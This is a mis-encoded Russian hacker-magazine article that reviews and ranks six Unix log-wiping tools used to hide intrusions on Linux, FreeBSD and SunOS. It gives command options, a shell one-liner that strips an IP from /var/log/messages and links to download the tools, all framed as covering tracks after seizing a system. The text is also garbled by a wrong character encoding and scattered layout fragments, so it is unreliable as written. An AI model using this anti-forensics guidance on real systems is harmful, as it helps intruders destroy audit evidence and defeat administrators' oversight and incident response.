êàêèõ-ëèáî âðåìåííûõ ôàéëîâ ëè-
áî ôàòàëüíûõ êîðîê (core-
dump�îâ).

Ïîñëå òåñòèðîâàíèÿ ÿ óáåäèëñÿ,
÷òî èäåàëüíûõ ëîãâàéïåðîâ íå áû-
âàåò, èáî äëÿ êàæäîãî îòäåëüíî
âçÿòîãî âàéïåðà âûïîëíÿëîñü ìàê-
ñèìóì äâà êðèòåðèÿ. ×òî ñêàçàòü,
ëåíü ïðîãðàììèñòîâ áåðåò ñâîå, äà
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ÇÀÌÅÒÀÅÌ 
ÑËÅÄÛ Â LINUX

Äìèòðèé Äîêó÷àåâ aka Forb
(forb@real.xakep.ru)

ß

ÂÑß ÏÐÀÂÄÀ Î ËÎÃÂÀÉÏÅÐÀÕ

Ïîñëå òåñòè-
ðîâàíèÿ, ÿ
óáåäèëñÿ, ÷òî
èäåàëüíûõ
ëîãâàéïåðîâ
íå áûâàåò, èáî
äëÿ êàæäîãî
îòäåëüíî âçÿ-
òîãî âàéïåðà
âûïîëíÿëîñü
ìàêñèìóì äâà
êðèòåðèÿ èç
òðåõ.

Óäàðíàÿ ðàáîòà çà 10 ìèíóò ;)

ß âñòðå÷àë óìíèêîâ, êîòîðûå áîðîëèñü 
ñ ëîãàìè ïîñëå çàõâàòà ñèñòåìû 

ñëåäóþùèì îáðàçîì: ïðèáèâàëè syslogd 
è óíè÷òîæàëè áèíàðíûå æóðíàëû 

äåäîâñêèì ñïîñîáîì (rm -f)
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è ñèñòåìû îòëè÷àþòñÿ ñâîåé êàï-
ðèçíîñòüþ (â Linux, íàïðèìåð,
ñòðóêòóðà ëîãîâ îòëè÷àåòñÿ îò
ñòðóêòóðû â SunOS).

Òû ñïðîñèøü, êàê îñóùåñòâëÿ-
ëàñü ïðîâåðêà âñåõ òðåõ êðèòåðè-
åâ? Îòâå÷àþ: ñàìûì òùàòåëüíåé-
øèì îáðàçîì. Âñå äàííûå, êîòîðûå
ÿ íàìåðåííî çàïèñàë â ëîãè, äîëæ-
íû áûòü óíè÷òîæåíû êîâàðíûì
ëîãâàéïåðîì. Ñêîðîñòü ïðîâåðÿ-
ëàñü ïðè ïîìîùè êîìàíäû èíòåðï-
ðåòàòîðà time -p. Ìàñêèðîâêà âûÿñ-
íÿëàñü ïðè çàâåðøåíèè ðàáîòû
ïðîãðàììû (íåðåäêî ôàòàëüíîì)...

ÒÅÑÒ � ÂÑÅÌÓ ÃÎËÎÂÀ!
Äëÿ îáçîðà ïîòðåáîâàëîñü íàéòè
øåñòü äîáðîâîëüöåâ. Ïî÷åìó
øåñòü? Ïîòîìó ÷òî ÿ õîòåë îòëè-
÷èòüñÿ îò äðóãèõ ñâîåé íåîðäèíàð-
íîñòüþ, ÷òîáû äîáèòüñÿ áîëåå îáú-
åêòèâíîé îöåíêè ;). Æåðòâàìè ñòà-
ëè ñëåäóþùèå ëîãâàéïåðû: van-
ish2, grlogwipe, zap3, wipe, zap2,
gh0st. Àâòîðàì îòäåëüíîå ñïàñèáî
çà èõ êîä è áàãè, êîòîðûå íàìíîãî

ïîâûøàëè íàãëÿäíîñòü ìîåãî îáçî-
ðà, ïðèáëèæàÿ åãî ê ðåàëüíîìó. Ïî-
ëèãîíîì ÿâëÿëèñü òðè íåçàâèñè-
ìûõ è ñàìûõ ïîïóëÿðíûõ unix-like
îñè: Linux RedHat 7.1, FreeBSD 4.7 è
SunOS 5.8. ß óâåðåí, ÷òî òû èìåë
äåëî, ïî êðàéíåé ìåðå, ñ îäíîé èç
óïîìÿíóòûõ. Îáçîð ïðîâîäèëñÿ â
òðåçâîì ñîñòîÿíèè è çàâåðøèëñÿ
áåç âñÿêèõ çàïàðîê è ýêñöåññîâ,
ïîýòîìó íå âçäóìàé ñîìíåâàòüñÿ â
ìîåé èñêðåííîñòè.

VANISH2 � ËÓ×ØÅÅ ×ÈÑÒßÙÅÅ
ÑÐÅÄÑÒÂÎ ÄËß ÏÎÐÒÀÒÈÂÍÎÃÎ
ÓÍÈÒÀÇÀ ;)
Ïåðâûì äîáðîâîëüöåì ñòàë
Vanish2 � ëîãâàéïåð äëÿ ïðàâèëü-
íîé îñè. Èñïûòûâàëñÿ â Linux, êàê
è áûëî íàïèñàíî â êîììåíòàðèÿõ ê
êîäó. Ïðåäñòàâëÿåò ñîáîé îòäåëü-
íûé õåàäåð è ñèøíèê áåç âñÿêèõ
Makefile (âîò îíî � ãóìàííîå îòíî-
øåíèå ïðîãðàììèñòîâ ê ëþäÿì!). Íó
äà ëàäíî, ðóêè ó ìåíÿ ðàñòóò îòêó-
äà íàäî, è êîìïèëèòü ÿ åùå íå ðà-
çó÷èëñÿ. Áûñòðî íàáèðàþ gcc van-
ish2.c -o vanish2 è... íå ïîëó÷àþ íè
îäíîé îøèáêè (ñòðàííîâàòî, ïðàâ-
äà? ;)).

Äàëåå èäåò îçíàêîìëåíèå ñ ïàðà-
ìåòðàìè, êîòîðûå äîëæíû áûòü ïå-
ðåäàíû ëîãâàéïåðó. À ïàðàìåòðû
òàêèå: ñòðîêà äëÿ ÷èñòêè, ip-àäðåñ è
hostname (ðåçîëâèòü àäðåñà ïðîã-
ðàììèñòû, âèäèìî, íå íàó÷èëèñü,
ïîýòîìó ïîðó÷èëè ýòî íàì � áåä-

íûì þçåðàì). Âûáèðàþ ôàêòîð, êî-
òîðûé õî÷ó èñïûòàòü íà ïîëíóþ êà-
òóøêó, � ýòî ñêîðîñòü. Ïîýòîìó òåñ-
òèðîâàíèå ïðîèñõîäèëî íà 486dx
ïðîöåññîðå. Àâòîð Âàíèøà îáåùàë,
÷òî áóäóò âû÷èùåíû âñå òåêñòîâûå
ëîãè (messages, secure, xferlog,
maillog, httpd.access_log è
httpd.error_log, à òàêæå áèíàðíûå
wtmp, utmp è lastlog), íî îí íå ñêà-
çàë âðåìÿ, çà êîòîðîå âàéïåð ñïðà-
âèòñÿ ñ ðàáîòîé. Óõìûëüíóâøèñü,

çàïóñêàþ êëèíåð è óõîæó ïèòü êî-
ôå. Êàêîãî æå áûëî ìîå óäèâëå-
íèå, êîãäà ê ìîåìó ïðèõîäó ïðî-
öåññ íå ñäâèíóëñÿ ñ ìåñòà! ×èñòêà
ëîãîâ çàíÿëà ÷óòü áîëüøå 10 ìè-
íóò. Äàæå äëÿ 486 ïðîöåññîðà ýòî
î÷åíü ìíîãî (ÿ ïûòàëñÿ ïðèáëè-
çèòü ñèòóàöèþ ê ðåàëüíîé, êîãäà
âàéïåðó ïðèäåòñÿ îáðàáàòûâàòü ãè-
ãàáàéòíûé wtmp-ôàéë). Ïîñìîòðåâ
â ñîðöû, ÿ ïîíÿë, ÷òî â ñêîðîñòè
âèíîâàò èìåííî Âàíèø, à íèêàê íå
ñèñòåìà. Ïðîãðàììèñò ðåøèë ïðî-
ëèñòûâàòü êàæäûé ðåêîðä wtmp äî
âñòðå÷è ñ øàáëîíîì, õîòÿ ïðàâèëü-
íåå áû áûëî ñìåùàòüñÿ îò êîíöà
ôàéëà...

Ñî ñêîðîñòüþ âñå ÿñíî. Ïðîñìîò-
ðåâ ëîãè, ÿ óâèäåë, ÷òî ìîè ñëåäû
äåéñòâèòåëüíî èñ÷åçëè. Âðåìåííûõ
ôàéëîâ íà ìåñòå çàìå÷åíî íå áû-
ëî, ðàâíî êàê è core.

Ìíå ñòàëî èíòåðåñíî, ÷òî áóäåò,
åñëè ÿ ñêîìïèëþ Âàíèø ïîä
FreeBSD. Êàê îêàçàëîñü, íè÷åãî õî-
ðîøåãî èç ýòîãî íå âûøëî � ñèñòå-
ìà ðóãíóëàñü íà îòñóòñòâèå õåàäå-
ðà. Èñïûòûâàòü íà SunOS ÿ íå ñòàë,
èáî çíàë î ôàòàëüíîì çàâåðøåíèè
ýêñïåðèìåíòà (â ñîëÿðêå âñå ïî-
äðóãîìó: îò èìåí ëîãîâ äî èõ ñòðóê-
òóðû). 

ÎÖÅÍÊÀ
Îòêðûâ áëîêíîòèê, ÿ çàïèñàë íå-
áîëüøîé îò÷åò ïî Âàíèøó (îöåíè-
âàë ïî 10-áàëüíîé øêàëå).

Íàäåæíîñòü:
Òåêñòîâûå ëîãè � 9 áàëëîâ.
Áèíàðíûå ëîãè � 10 áàëëîâ.

Ñêîðîñòü � 2 áàëëà.
Ìàñêèðîâêà � 7 áàëëîâ (âðåìåí-
íûå ôàéëû èìåëèñü, íî îíè óäàëÿ-
ëèñü ïîñëå ðàáîòû. Åñëè þçåð
ïðåðâåò ðàáîòó ëîãâàéïåðà � òåìïû
óäàëåíû íå áóäóò).
Ìíîãîïëàòôîðìåííîñòü � 4 áàëëà.

Îáùàÿ îöåíêà � 7 áàëëîâ.

GRLOGWIPE � ËÓ×ØÅÅ 
ÐÅØÅÍÈÅ ÄËß FREEBSD
Íåáðåæíî ïåðåìåñòèâ Âàíèø â ïàï-
êó èñïûòàííûõ, ÿ âçÿëñÿ çà ñëåäóþ-
ùèé ýêçåìïëÿð: grlogwipe, êîòîðûé

Äëÿ àäìèíèñòðàòîðîâ ñèñòåì ëîãè � ñèãíà-
ëèçàòîð äíåâíîé àêòèâíîñòè è àòàê, äëÿ
õàêåðîâ � ïðåäìåò íåìåäëåííîãî óíè÷òî-
æåíèÿ, äëÿ àíàëèçàòîðîâ áåçîïàñíîñòè �

ãëàâíûé èñòî÷íèê èíôîðìàöèè

Ðàññìàòðèâàå-
ìûå ýêçåìïëÿ-
ðû òû ìîæåøü

óòÿíóòü ïî
ññûëêå:
http://

k-uralsk.net/
forb/1/x/log-
wipers.tar.gz.
Äëÿ óäîáñòâà

- âñå øåñòü
ëîãâàéïåðîâ
ïîìåùåíû â
îäèí àðõèâ.

Êîìïèëÿöèÿ íà äðóãèõ ñèñòåìàõ íå çàâåðøèëàñü óñïåõîì

Ïî÷òè âñå áèíàðíûå ëîãè íà Ôðå áûëè ïîòåðòû ñ ïîìîùüþ Grlogwipe
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Ê ñîæàëåíèþ,
åñëè àäìèí 
óñòàíîâèë
äðóãîé äåìîí
äëÿ âåäåíèÿ
ëîãîâ, òî èõ
÷èñòêà áóäåò
äîâîëüíî
ñëîæíà. 
Ê ïðèìåðó,
syslog-ng ôîð-
ìèðóåò èåðàð-
õèþ êàòàëîãîâ
â /var/log è
ïèøåò â êàæ-
äûé æóðíàë
îòäåëüíûå 
ñîáûòèÿ. Åñëè
ïîñ÷èòàòü, òî
â ñóììå ìû
ïîëó÷èì îêîëî
20 ëîãîâ, ïóòè
è èìåíà êîòî-
ðûõ îòëè÷à-
þòñÿ îò 
äåôîëòîâûõ...

ïåðâîíà÷àëüíî ðåøèë ïðîâåðèòü íà
ôðÿõå (çà÷åì çàöèêëèâàòüñÿ íà
Linux � äëÿ íàñ âàæíà ìíîãîïëàò-
ôîðìåííîñòü). Êîìïèëÿöèÿ ïðîøëà
áåç âñÿêèõ ñëîæíîñòåé. Çàïóñòèâ
grlogwipe áåç ïàðàìåòðîâ, ÿ óäèâèë-
ñÿ ìíîãîôóíêöèîíàëüíîñòè ýòîãî
êëèíåðà. Íî îáî âñåì ïî ïîðÿäêó.

Ïåðâûé ìèíóñ grlogwipe � ýòî îòñó-
òñòâèå âîçìîæíîñòè ÷èñòêè òåêñòî-
âûõ ëîãîâ. Îí ïðåäíàçíà÷àëñÿ òîëü-
êî äëÿ òðåõ áèíàðíûõ ôàéëîâ. Íî
ïðîãðàììèñòû ïîäîøëè ê ýòîé ïðîá-
ëåìå äîâîëüíî íåïëîõî. Ëîãâàéïåð
óìååò êàê ìåíÿòü õîñò â ðåêîðäå ëî-
ãà, òàê è èìÿ ïîëüçîâàòåëÿ. Ðàçóìå-
åòñÿ, âñå äàííûå ìîãóò áûòü óäàëå-
íû � âñå çàâèñèò îò æåëàíèÿ þçåðà,
òî áèøü òåáÿ ;). Ïî ñêîðîñòè êëèíåð
ïîêàçàë ñåáÿ äîâîëüíî íåïëîõî �
âñåãî íåñêîëüêî äîëåé ñåêóíäû
(ïðîñìîòð ëîãà íà÷èíàëñÿ èìåííî ñ
êîíöà, à íå ñ íà÷àëà, êàê â Vanish2).

Ê ñîæàëåíèþ, ôàéë /var/log/last-
log âî ôðÿõå íå îáðàáàòûâàëñÿ.
Çàïèñü î ïîäêëþ÷åíèè þçåðà ñîõ-
ðàíèëàñü â íåì, êàê áóäòî ëîã íèê-
òî è íå èçìåíÿë.

Äàëåå ÿ ðåøèë ïîèãðàòü ñ îïöèÿ-
ìè çàìåíû õîñòà è þçåðà è ïðîâå-
ðèòü, äåéñòâèòåëüíî ëè ýòî ðàáî÷èå
âîçìîæíîñòè, à íå ïðîñòî äåêîðà-
öèè. ×òîáû èçìåíèòü èìÿ ïîëüçîâà-
òåëÿ â çàïèñÿõ wtmp, äîñòàòî÷íî
óêàçàòü èìÿ ñòàðîãî è íîâîãî ïîëü-
çîâàòåëÿ ÷åðåç îïöèè -u è -U ñîîò-
âåòñòâåííî. Àíàëîãè÷íî ñ ip-àäðå-
ñîì. Â äîâåðøåíèå âñåãî, äîëæíà
áûòü îïöèÿ -w (write), êîòîðàÿ è áó-
äåò èçìåíÿòü ðåêîðäû wtmp. Îïöèÿ
-r íåîáõîäèìà äëÿ óäàëåíèÿ âñåõ çà-
ïèñåé, óäîâëåòâîðÿþùèõ çàäàííîìó
øàáëîíó. Øàáëîí, êàê òû óæå ïî-
íÿë, çàäàåòñÿ ïðè ïîìîùè -u è -h îï-
öèé, óêàçûâàþùèõ íà èìÿ ïîëüçîâà-
òåëÿ è õîñò (ip-àäðåñ).

Ñêðûòíîñòü áûëà èäåàëüíîé. Íè â
ñîðöàõ, íè íà ïðàêòèêå íå áûëî
ñëåäîâ îò âðåìåííûõ ôàéëîâ. Ëîã-
âàéïåð çàâåðøàëñÿ êîððåêòíî, íå
îñòàâëÿÿ çà ñîáîé êîðîê.

Grlogwipe èñïûòûâàëñÿ êàê â Ëè-
íå, òàê è â FreeBSD. Èòîãè ýêñïåðè-
ìåíòîâ áûëè ïðàêòè÷åñêè îäèíàêî-
âûìè, ÷òî åùå ðàç ïîä÷åðêèâàëî
óíèâåðñàëüíîñòü êëèíåðà.

ÎÖÅÍÊÀ

Íàäåæíîñòü:
Òåêñòîâûå ëîãè � 0 áàëëîâ.
Áèíàðíûå ëîãè � 9 áàëëîâ.

Ñêîðîñòü � 10 áàëëîâ.
Ìàñêèðîâêà � 10 áàëëîâ.
Ìíîãîïëàòôîðìåííîñòü � 8 áàëëîâ.

Îáùàÿ îöåíêà � 7 áàëëîâ.

ZAP3 � ÌÎÄÍÛÉ ÊËÈÍÅÐ 
ÍÎÂÎÃÎ ÏÎÊÎËÅÍÈß
Ñëåäóþùèì ýêçåìïëÿðîì â îáçîðå
áûë ëîãâàéïåð ïîä èìåíåì Zap3 (ïðàâ-
äà, ñèøíèê íàçûâàåòñÿ ïî-äðóãîìó, ÷òî
îñëîæíÿåò åãî ïîèñêè). Ïîðàäîâàëî,
÷òî Zap3 ñïîñîáåí ÷èñòèòü êàê áèíàð-
íûå, òàê è òåêñòîâûå ëîãè. Ïðè÷åì, äå-
ëàåò ýòî ñ îñîáîé òùàòåëüíîñòüþ (íåò-
ðîíóòûõ çàïèñåé çàìå÷åíî íå áûëî).
×òî ïðèìå÷àòåëüíî, êëèíåð ðàáîòàåò ñ
ëîãàìè íàïðÿìóþ è íå îñòàâëÿåò çà ñî-
áîé âðåìåííûõ ôàéëîâ.

Ñêîðîñòü êîëåáëåòñÿ â ïðåäåëàõ îò
äâóõ äîëåé äî ñåêóíäû (â çàâèñèìîñòè
îò ðàçìåðà æóðíàëà). Âñå áëàãîäàðÿ
ïðîäóìàííîìó àëãîðèòìó è óñïåøíîé
åãî ðåàëèçàöèè ;). Ê ñîæàëåíèþ, òåêñòî-
âûå ëîãè âû÷èùàëèñü íå ïîëíîñòüþ (â
auth-ëîãå áûëà çàìå÷åíà çàïèñü, êîòî-
ðîé ïî ëîãèêå íå äîëæíî áûëî áûòü).

×òî êàñàåòñÿ ìíîãîïëàòôîðìåí-
íîñòè, êîìïèëÿöèÿ íà Ôðå íè ê ÷åìó
õîðîøåìó íå ïðèâåëà. Êàê ïèøóò
àâòîðû, ëîãâàéïåð òåñòèðîâàëñÿ
ëèøü íà RedHat è Mandrake äèñòðè-
áóòèâàõ ïðàâèëüíîé îñè, ïîýòîìó èõ
ìîæíî ïîíÿòü è ïðîñòèòü.

À òåïåðü ñàìîå èíòåðåñíîå. Ïîñëå
òîãî êàê zap3 äîøåë äî ëîãà
/var/log/syslog, îí æåñòêî îáëîìàëñÿ,

èáî ýòîãî ôàéëà â ñèñòåìå íå áûëî.
Îáû÷íî íà òàêîé ñëó÷àé äåëàåòñÿ
ïðîâåðêà. Òóò îíà ïîëíîñòüþ îòñóò-
ñòâîâàëà, è áèíàðíèê âûïàë â êîðó.
Ðàçóìååòñÿ, ÷òî ïîñëå òàêîãî ñëó÷àÿ
äîâåðÿòü êëèíåðó íåëüçÿ, èáî êîðà â
ðàáî÷åì êàòàëîãå � íåäîáðûé çíàê.

Íåñìîòðÿ íà íåäîñòàòêè, îáùåå
âïå÷àòëåíèå îò ýòîãî ëîãà íåïëî-
õîå. Êëèíåð ñïðàâèëñÿ ñ çàäà÷åé
ïðàêòè÷åñêè íà 100%, íî ìåëêèå íå-
äî÷åòû ñäåëàëè ñâîå ãðÿçíîå äåëî.

ÎÖÅÍÊÀ:

Íàäåæíîñòü:
Òåêñòîâûå ëîãè � 6 áàëëîâ.
Áèíàðíûå ëîãè � 9 áàëëîâ.

Ñêîðîñòü � 10 áàëëîâ.
Ìàñêèðîâêà � 2 áàëëà.
Ìíîãîïëàòôîðìåííîñòü � 5 áàëëîâ.

Îáùàÿ îöåíêà � 5 áàëëîâ.

ÑÊÀÇÊÀ ÏÐÎ SUNOS
Êàê òû, íàâåðíîå, çàìåòèë, ÿ óïîìè-
íàë ëèøü î Linux è FreeBSD è íè
ñëîâà íå ñêàçàë î äðóãèõ ñèñòåìàõ.
Ýòî íå ñîâñåì ïðàâèëüíî. Åñëè ïî-
äóìàòü, Ñîëÿðêà âñåãäà áûëà è áó-
äåò íàäåæíîé ñèñòåìîé, ïîýòîìó
óïîìÿíóòü åå èìÿ â îáçîðå ÿ ïðîñòî
îáÿçàí. Äëÿ ýòîé öåëè ÿ âûáðàë äâà
ëîãâàéïåðà, êîòîðûå îïèøó â îäíîì
ôëàêîíå. Ýòî zap2 (êñòàòè, óäèâè-
òåëüíî, íî íè÷åãî îáùåãî ñ zap3 ó
íåãî íåò ;)) è wipe.

Ïîñìîòðåâ êîììåíòàðèè ê êîäó
Wipe, ÿ ïîíÿë, ÷òî ýòî ìíîãîïëàò-
ôîðìåííàÿ âåùü, íî â öåëîì êëè-
íåð îðèåíòèðîâàí íà SunOS. Ñêîì-
ïèëèâ åãî ñ ïàðàìåòðîì solaris, ÿ
ïîïûòàëñÿ ïî÷èñòèòü çàðàíåå ïîä-
ãîòîâëåííûå ëîãè. Wipe ïðåäíàçíà-
÷àëñÿ òîëüêî äëÿ ÷èñòêè áèíàðíûõ
ôàéëîâ (êàê è grlogwipe). Ïðè÷åì,
äëÿ êàæäîãî ëîãà ñóùåñòâîâàëà
ñâîÿ îïöèÿ (óíèâåðñàëüíàÿ ÷èñòêà
áûëà áû íàìíîãî ïðèÿòíåå). ß çà-
ïóñòèë ëîãâàéïåð òðè ðàçà ñ ïàðà-
ìåòðàìè u, w è l (äëÿ utmp, wtmp è
lastlog, ñîîòâåòñòâåííî). Ê ìîåìó
óäèâëåíèþ, wtmp îñòàëñÿ áåç èç-
ìåíåíèé. Îñòàëüíûå ôàéëû áûëè
óñïåøíî îáðàáîòàíû.

Ñêîðîñòü îïÿòü æå íå ïîäêà÷àëà.
Âåñü ïðîöåññ âûïîëíèëñÿ çà íåñ-
êîëüêî äîëåé ñåêóíäû. Âðåìåííûõ
ôàéëîâ ïîáëèçîñòè íèãäå íå áûëî.

Âåðäèêò � wipe ïðèãîäåí ëèøü
äëÿ ÷èñòêè utmp è lastlog. Íà áîëü-
øåå îí âðÿä ëè ïîòÿíåò.

Âûÿñíåíèå ïðè÷èíû core-dumped�à

Êîìïèëèì è þçàåì wipe

Zap2 � ëó÷øèé ÷èñòèëüùèê äëÿ SunOS

Ýòîò îáçîð âêëþ÷àåò â ñåáÿ ëèøü
øåñòü ëîãâàéïåðîâ. Õî÷åøü áîëü-
øå? Òîïàé íà http://packetstorm-
security.nl/UNIX/penetration/log-
wipers è íàéäåøü äëÿ ñåáÿ ìíîæå-
ñòâî ðàçëè÷íûõ êëèíåðîâ íà âñå
ñëó÷àè æèçíè.

Ðàññìàòðèâàåìûå ýêçåìïëÿðû òû
ìîæåøü óòÿíóòü ïî ññûëêå:
http://k-uralsk.net/forb/1/x/log-
wipers.tar.gz. Äëÿ óäîáñòâà � âñå
øåñòü ëîãâàéïåðîâ ïîìåùåíû â
îäèí àðõèâ.
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Ñëåäóþùèì øàãîì áûëà êîìïèëÿ-
öèÿ zap2. Ýòîò ÷óäî-êëèíåð áûë îðè-
åíòèðîâàí òîëüêî íà Ñîëÿðêè è ïîý-
òîìó îñòàâëÿë áîëüøèå íàäåæäû.
Êîìïèëÿöèÿ ïðîøëà áåç ïðîáëåì.
Çàïóñê áåç ïàðàìåòðîâ âûäàë åäèí-
ñòâåííîå ñëîâî Error, ÷òî ïðèâåëî
ìåíÿ â çàäóì÷èâîñòü. Òî ëè ëîãâàé-
ïåð îòêàçûâàëñÿ çàïóñêàòüñÿ íà
ýòîé ïëàòôîðìå, òî ëè ó íåãî ïðîñòî
íå áûëî ïðîöåäóðû usage(). Ê ìîåìó
ñ÷àñòüþ, âòîðîå ïðåäïîëîæåíèå

ïîäòâåðäèëîñü. Ïîðàçìûñëèâ ëîãè-
÷åñêè, ÿ çàïóñòèë zap2 ñ ïàðàìåòðîì
user (ãäå user � èìÿ ïîëüçîâàòåëÿ).
Óâèäåë ìàãè÷åñêîå ñëîâî Zap! è äî-
ãàäàëñÿ, ÷òî êëèíåð óñïåøíî âûïîë-
íèë ïîñòàâëåííóþ åìó çàäà÷ó. Ïðîñ-
ìîòðåâ ðåçóëüòàòû ðàáîòû, ÿ óáå-
äèëñÿ, ÷òî zap2 äåéñòâèòåëüíî âñå
ñäåëàë, êàê ÿ ïðîñèë.

ÎÖÅÍÊÀ:

Íàäåæíîñòü:
Òåêñòîâûå ëîãè � 0 áàëëîâ.
Áèíàðíûå ëîãè � 8 áàëëîâ.

Ñêîðîñòü � 8 áàëëîâ.
Ìàñêèðîâêà � 5 áàëëîâ.
Ìíîãîïëàòôîðìåííîñòü � 4 áàëëà.

Îáùàÿ îöåíêà � 5 áàëëîâ.

È ÝÒÎ ÍÅ ÒÎËÜÊÎ ÑÈ
×òî ïðèìå÷àòåëüíî, ëîãâàéïåðû
áûâàþò íå òîëüêî ñèøíûìè. Íàòê-
íóâøèñü íà ýêçåìïëÿð ïîä íàçâà-
íèåì gh0st.sh, êîòîðîå ãîâîðèëî î
òîì, ÷òî êëèíåð áûë íàïèñàí íà sh-
ÿçûêå, ÿ ðåøèë äîáàâèòü åãî â
ñâîé îáçîð. Ïåðâûå ìûñëè áûëè î
òîì, ÷òî ýòîò ðåàëüíûé êëèíåð çàé-
ìåò ïåðâîå ìåñòî â ìîåì îáçîðå.

Èòàê, íà÷àëî òåñòèðîâàíèÿ. Çàïóñ-
òèâ gh0st.sh áåç îïöèé, ÿ óâèäåë,
÷òî îí ïðîñèò hostname â êà÷åñòâå
ïàðàìåòðà. Óäîâëåòâîðèâ åãî æåëà-
íèÿ, ÿ ïðîñëåäèë çà äåéñòâèÿìè
ïðèçðàêà. Ïðî÷åñàâ 10 òåêñòîâûõ
ëîãîâ, îí óäàëèë èç íèõ âñå ïîñòî-
ðîííèå çàïèñè. Ìîåìó óäèâëåíèþ
íå áûëî ïðåäåëà, êîãäà íà ýêðàíå
ïîÿâèëèñü ñòðîêè, êàñàþùèåñÿ áè-
íàðíûõ ôàéëîâ. Êàê óäàëèòü èç íèõ
çàïèñè íà ÿçûêå sh, ÿ íå ïðåäñòàâ-
ëÿë.

Ñêðèïò î÷åíü áûñòðî çàâåðøèë
÷èñòêó. Çàöåíèâ wtmp, ÿ óâèäåë, ÷òî
åãî ïîïðîñòó íå áûëî. Òî÷íåå, åãî
ðàçìåð ñîñòàâëÿë 0 áàéò. Ïåðâîå
âïå÷àòëåíèå îá ýòîì êëèíåðå áûñòðî
èçìåíèëîñü. Â òåêñòîâûõ ëîãàõ âñÿ
êîìïðîìåòèðóþùàÿ èíôîðìàöèÿ áû-
ëà óäàëåíà. Âïðî÷åì, àëãîðèòì ÷èñò-
êè òåêñòîâèêîâ îò íåíóæíûõ ôðàç
áûë ïðîñò. Ñïåðâà íàäî áûëî ïðîã-

ðåïàòü ëîã ñ êëþ÷èêîì -v è ïîñëåäó-
þùèì âûâîäîì èíôû â òåìï-ôàéë, à
çàòåì çàìåíèòü åãî íà íóæíûé. Òî
åñòü, ÷òîáû óäàëèòü â /var/log/mes-
sages ip-àäðåñ 127.0.0.1, äîñòàòî÷íî
áûëî âûïîëíèòü êîìàíäó grep -v
127.0.0.1 /var/log/messages > tmp &&
mv -f tmp /var/log/messages. Ýòîò àë-
ãîðèòì è âûïîëíÿëñÿ â ðàññìàòðèâà-
åìîì êëèíåðå.

×òî ñêàçàòü... Åñëè âûáðîñèòü
÷àñòü êîäà, êàñàþùóþñÿ ÷èñòêè áè-

íàðíèêîâ, òî ïîëó÷èòñÿ íåïëîõîé
ëîãâàéïåð äëÿ ascii-ëîãîâ ;).

ÎÖÅÍÊÀ:

Íàäåæíîñòü:
Òåêñòîâûå ëîãè � 6 áàëëîâ.
Áèíàðíûå ëîãè � 0 áàëëîâ.

Ñêîðîñòü � 8 áàëëîâ.
Ìàñêèðîâêà � 4 áàëëà.
Ìíîãîïëàòôîðìåííîñòü � 4 áàëëà.

Îáùàÿ îöåíêà � 4 áàëëà.

È ÊÒÎ ÆÅ ÏÎÁÅÄÈÒÅËÜ?
Íàñòàëî âðåìÿ ïîäâåñòè èòîãè ìîåãî
òåñò-äðàéâà. Ïåðâîå ìåñòî ÿ ïðèñó-
äèë vanish2. Îí õîòü è îòëè÷àåòñÿ
ñâîåé ìåäëèòåëüíîñòüþ, íî êà÷åñòâî
ðàáîòû, ïîæàëóé, ó íåãî îòëè÷íîå.

Âòîðîå ìåñòî îòäàþ grlogwipe. Èìåÿ
íåñîìíåííûå ïëþñû â ñêîðîñòè è ìíî-
ãîïëàòôîðìåííîñòè, îí îäíîâðåìåííî
ëàæàåò â ascii-ëîãàõ è áèíàðíîì lastlog.
Íî, îïÿòü òàêè, äîïîëíèòåëüíûå ôå-
íå÷êè êëèíåðà ìíå î÷åíü ïîíðàâèëèñü.

Íà òðåòüåì ìåñòå ðàñïîëàãàåòñÿ
zap3. Õîòü åãî è êîíòóçèëî ïðè íåó-
äà÷íîì îòêðûòèè syslog, îí íåïëîõî

ñïðàâëÿåòñÿ ñ ïîñòàâëåííîé çàäà-
÷åé. Íåìíîãî óíèâåðñàëüíîñòè è
ñòàáèëüíîñòè � è ýòî áóäåò ëó÷øèé
ëîãâàéïåð ;).

Íàñ÷åò îñòàëüíûõ ýêçåìïëÿðîâ
íè÷åãî ãîâîðèòü íå áóäó. Âñå áûëî
ñêàçàíî âûøå. Îòäåëüíûõ ñëîâ â
èõ àäðåñ ó ìåíÿ ïîïðîñòó íåò.

ÌÎÐÀËÜ ÑÅÉ ÁÀÑÍÈ
Íàäåþñü, ÷òî ïîñëå ïðî÷òåíèÿ ýòîé
ñòàòüè òû ïîéìåøü � èäåàëüíûõ
ëîãâàéïåðîâ íå ñóùåñòâóåò. Èäå-
àëüíûå âåùè ïèøóòñÿ òîëüêî ïðè-
ìåíèòåëüíî ê êîíêðåòíîé ñèòóàöèè.
Ïîýòîìó ìîé òåáå ñîâåò: ó÷è Ñè è
íàïèøè ñâîé ñóïåðêëèíåð, êîòîðûé
ñïîñîáåí óäîâëåòâîðÿòü âñåì âû-
øåíàçâàííûì êðèòåðèÿì, è òåáå áó-
äóò áëàãîäàðíû ìíîãî ëþäåé.
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×òîáû óäà-
ëèòü â

/var/log/mes-
sages ip-àäðåñ
127.0.0.1, äîñ-

òàòî÷íî âû-
ïîëíèòü êî-

ìàíäó grep -v
127.0.0.1

/var/log/mes-
sages > tmp

&& mv -f tmp
/var/log/mes-

sages.
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Îò ýòîãî ñêðèïòà ÿ îæèäàë áîëüøåãî ðåçóëüòàòà

Âñå ñâåæèå ëîãâàéïåðû îáèòàþò òóò

Åñëè ïîäóìàòü, Ñîëÿðêà âñåãäà áûëà 
è áóäåò íàäåæíîé ñèñòåìîé, ïîýòîìó

óïîìÿíóòü åå èìÿ â îáçîðå ÿ ïðîñòî îáÿçàí



Ñàìîå âåñîìîå ïðåèìóùåñòâî ïðàâèëüíîé îñè íàä Âèíäîé - ãèáêîå óäàëåííîå óïðàâëå-
íèå ñèñòåìîé. Â ïåðâóþ î÷åðåäü ýòî äàåò íàäåæíîñòü, èáî ëó÷øå SSH åùå íè÷åãî íå
ïðèäóìàíî. Âî-âòîðûõ, ñêîðîñòü - êîìàíäû â òåêñòîâîì ðåæèìå íàáèðàþòñÿ áåç òîð-
ìîçîâ äàæå ïðè ïëîõîì êàíàëå. È, íàêîíåö, íàëè÷èå âñåõ òðåáóåìûõ êîíñîëüíûõ êî-
ìàíä äëÿ óïðàâëåíèÿ. Âñå òðè ýòèõ ôàêòîðà äåëàþò Linux ñàìîé ëó÷øåé ñðåäîé äëÿ
ïîëüçîâàòåëÿ.

þáèòåëÿì ôîðòî÷åê ïå-
ðåãðåâàòüñÿ íå ñîâå-
òóþ. Î íèõ Microsoft ïî-

